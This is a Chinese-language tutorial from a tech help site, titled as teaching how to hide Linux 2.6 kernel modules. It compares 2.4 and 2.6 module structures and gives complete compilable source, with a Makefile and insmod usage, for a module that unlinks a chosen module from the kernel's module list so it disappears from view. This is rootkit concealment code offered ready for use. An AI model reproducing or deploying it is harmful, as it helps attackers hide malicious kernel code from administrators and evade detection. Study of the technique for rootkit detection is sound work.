当前位置:操作系统 > Unix/Linux >>

教你怎样隐藏Linux2.6的内核模块

2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03)

  struct module *p;

  for (p=&__this_module; p->next; p=p->next)

  {

  if (strcmp(p->next->name, str))

  continue;

  p->next=p->next->next; // <-- here it removes that module

  break;

  }

  2.4的module定义为:

  struct module

  {

  unsigned long size_of_struct; /* == sizeof(module) */

  struct module *next;

  const char *name;

  unsigned long size;

  ...

  }

  2.6为:

  struct module

  {

  enum module_state state;

  /* Member of list of modules */

  struct list_head list; <--- 变成了双向链表

  /* Unique handle for this module */

  char name[MODULE_NAME_LEN];

  ...

  }

  因此使用标准的内核list系列处理函数(不需要再闭门造车了),2.6版的进程隐藏重写为:

  /*

  * FileName: remove.c

  * Author: CoolQ

  * Date: 23:05 2004-9-2

  * Makefile:

  * ---------------- cut here -----------------

  * obj-m += remove.o

  * KDIR:= /lib/modules/$(shell uname -r)/build

  * PWD:= $(shell pwd)

  * default:

  * $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

  *----------------- cut here -----------------

  * Compile:

  * [root@coolq tmp]make

  * Usage:

  * [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide

  */

  #include

  #include

  #include

  #include

  #include

  #include

  static char *mod_name = "module";

  module_param(mod_name, charp, 0);

  static int remove_init(void)

  {

  struct module *mod_head, *mod_counter;

  struct list_head *p;

  mod_head = &__this_module;

  list_for_each(p, &mod_head->list){

  mod_counter = list_entry(p, struct module, list);

  if(strcmp(mod_counter->name, mod_name) == 0){

  list_del(p);

  printk("remove module %s successfully.\n", mod_name);

  return 0;

  }

  }

  printk("Can't find module %s.\n", mod_name);

  return 0;

  }

  static void remove_exit(void)

  {

  }

  module_init(remove_init);

  module_exit(remove_exit);

  MODULE_LICENSE("Dual BSD/GPL");

  

上一个:详解Linux2.6内核新文件系统变化机制
下一个:Linux2.4内核中新增功能和使用方法

更多Unix/Linux疑问解答:
路由原理介绍
子网掩码快速算法
改变网络接口的速度和协商方式的工具miitool和ethtool
Loopback口的作用汇总
OSPF的童话
增强的ACL修改功能
三层交换机和路由器的比较
用三层交换机组建校园网
4到7层交换识别内容
SPARC中如何安装Linux系统(2)
SPARC中如何安装Linux系统(1)
用Swatch做Linux日志分析
实战多种Linux操作系统共存
浅析Linux系统帐户的管理和审计
Linux2.6对新型CPU的支持(2)
电脑通通透
玩转网络
IE/注册表
DOS/Win9x
Windows Xp
Windows 2000
Windows 2003
Windows Vista
Windows 2008
Windows7
Unix/Linux
苹果机Mac OS
windows8
安卓/Android
Windows10
如果你遇到操作系统难题:
访问www.zzzyk.com 试试
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,